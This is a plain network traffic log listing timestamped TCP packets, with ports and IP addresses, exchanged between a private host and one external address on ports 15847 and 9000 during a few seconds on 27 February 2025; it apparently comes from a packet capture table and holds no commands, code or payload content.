Feb 27, 2025 20:25:59.362761974 CET	9000	52670	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.363073111 CET	52670	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.364097118 CET	52670	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.364548922 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.369122982 CET	9000	52670	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.369674921 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.473169088 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.476691008 CET	52671	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.476928949 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.481930017 CET	9000	52671	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.482026100 CET	52671	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.482116938 CET	52671	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.487138987 CET	9000	52671	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.501022100 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.590497017 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.594647884 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.595710039 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.649646044 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.703844070 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.709002972 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.715598106 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.761831999 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.810411930 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.033525944 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.033638954 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.033736944 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.033982992 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.038852930 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.039077997 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.044570923 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.079405069 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.128648996 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.145538092 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.192287922 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.199008942 CET	9000	52671	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.199064016 CET	9000	52671	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.199148893 CET	52671	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.199204922 CET	52671	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.204258919 CET	9000	52671	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.248964071 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.259749889 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.265064001 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.305485964 CET	52672	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.311280966 CET	9000	52672	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.311373949 CET	52672	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.311461926 CET	52672	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.318113089 CET	9000	52672	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.369966030 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.370585918 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.375258923 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.413641930 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.478560925 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.504781008 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.504815102 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.557663918 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.590214968 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.640271902 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.651391983 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.700644970 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.701241016 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.706433058 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.773767948 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.813375950 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.818675041 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.904768944 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:00.928844929 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:00.934046030 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.015484095 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.034915924 CET	9000	52672	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.035024881 CET	9000	52672	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.035090923 CET	52672	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.037286043 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.040242910 CET	9000	52672	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.042383909 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.136746883 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.150398016 CET	52673	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.150538921 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.155535936 CET	9000	52673	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.155631065 CET	52673	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.155694962 CET	52673	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.155759096 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.160808086 CET	9000	52673	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.261228085 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.266340971 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.266887903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.308648109 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.372325897 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.396981001 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.451713085 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.484318018 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.509443998 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.563832045 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.598299026 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.630660057 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.675726891 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.710577965 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.752038002 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.804099083 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.820468903 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.857170105 CET	9000	52673	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.857192039 CET	9000	52673	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.857371092 CET	52673	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.859335899 CET	52673	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.864439964 CET	9000	52673	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.868285894 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.873336077 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.928646088 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.929518938 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.935434103 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.961422920 CET	52674	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.966705084 CET	9000	52674	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.966861963 CET	52674	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.966943979 CET	52674	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:01.972016096 CET	9000	52674	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:01.996464014 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.041527987 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.041527987 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.046998978 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.116132021 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.152555943 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.158410072 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.237622976 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.266693115 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.272531986 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.358464956 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.377841949 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.383120060 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.489366055 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.508136034 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.551656008 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.600416899 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.600964069 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.601063013 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.652352095 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.658576012 CET	9000	52674	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.658724070 CET	52674	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.659010887 CET	9000	52674	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.659065962 CET	52674	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.663876057 CET	9000	52674	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.714154005 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.719469070 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.722275972 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.760155916 CET	52675	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.765307903 CET	9000	52675	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.765388012 CET	52675	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.765474081 CET	52675	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.771234989 CET	9000	52675	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.775640011 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.824500084 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.852758884 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:02.903770924 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.938105106 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:02.965043068 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.015645027 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.048443079 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.086287022 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.127659082 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.160517931 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.207591057 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.255657911 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.272346973 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.320372105 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.328813076 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.382651091 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.383512020 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.388601065 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.447808981 CET	9000	52675	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.447874069 CET	9000	52675	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.447930098 CET	52675	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.448009014 CET	52675	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.450082064 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.453043938 CET	9000	52675	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.494765043 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.495420933 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.500581026 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.559156895 CET	52676	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.564318895 CET	9000	52676	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.564419985 CET	52676	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.564527035 CET	52676	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.569617987 CET	9000	52676	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.571293116 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.608956099 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.614172935 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.692591906 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.722048998 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.727155924 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.814160109 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.830240011 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.835410118 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.935416937 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:03.942205906 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:03.947417021 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.054369926 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.056843042 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.059812069 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.099772930 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.163220882 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.168732882 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.177814007 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.228404999 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.246336937 CET	9000	52676	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.246428967 CET	9000	52676	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.246519089 CET	52676	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.246783018 CET	52676	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.251632929 CET	9000	52676	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.276446104 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.308877945 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.354806900 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.355834007 CET	52677	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.361036062 CET	9000	52677	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.361135960 CET	52677	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.361232042 CET	52677	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.366400957 CET	9000	52677	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.387456894 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.420363903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.467014074 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.499109983 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.541950941 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.594747066 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.611979008 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.660396099 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.663661003 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.706664085 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.723953962 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.729393959 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.784776926 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.834673882 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.836007118 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.841274023 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.913624048 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:04.948244095 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:04.953732014 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.049977064 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.050024033 CET	9000	52677	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.050087929 CET	9000	52677	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.050153017 CET	52677	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.050211906 CET	52677	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.055416107 CET	9000	52677	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.056591034 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.061783075 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.151334047 CET	52678	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.156735897 CET	9000	52678	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.156819105 CET	52678	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.156888008 CET	52678	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.161940098 CET	9000	52678	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.167583942 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.170407057 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.172745943 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.214668989 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.279717922 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.285314083 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.291701078 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.342780113 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.391593933 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.421005964 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.470855951 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.503608942 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.534493923 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.582777023 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.615482092 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.655859947 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.709753990 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.727905989 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.776516914 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.776732922 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.821775913 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.838948965 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.844441891 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.851217031 CET	9000	52678	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.851288080 CET	9000	52678	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.851439953 CET	52678	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.851439953 CET	52678	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.857031107 CET	9000	52678	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.898271084 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.949659109 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.950244904 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.955511093 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.966025114 CET	52679	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.971215963 CET	9000	52679	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:05.971291065 CET	52679	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.971421957 CET	52679	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:05.976545095 CET	9000	52679	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.019500971 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.062304974 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.067905903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.141000986 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.174236059 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.179745913 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.262252092 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.288007975 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.293369055 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.386106014 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.399507046 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.404844999 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.505044937 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.507009983 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.512201071 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.619081020 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.624591112 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.626065016 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.666491032 CET	9000	52679	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.666536093 CET	9000	52679	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.666599989 CET	52679	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.666677952 CET	52679	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.666677952 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.671962976 CET	9000	52679	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.730098963 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.769011974 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.778044939 CET	52680	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.783179998 CET	9000	52680	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.783261061 CET	52680	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.783341885 CET	52680	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.789467096 CET	9000	52680	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.824775934 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.841342926 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.879901886 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:06.920808077 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:06.953830957 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.001279116 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.047775030 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.064122915 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.112400055 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.122663021 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.175790071 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.176172018 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.181412935 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.243773937 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.286778927 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.287110090 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.292324066 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.365029097 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.399122000 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.404386044 CET	15847	52668	92.255.85.36	192.168.2.16
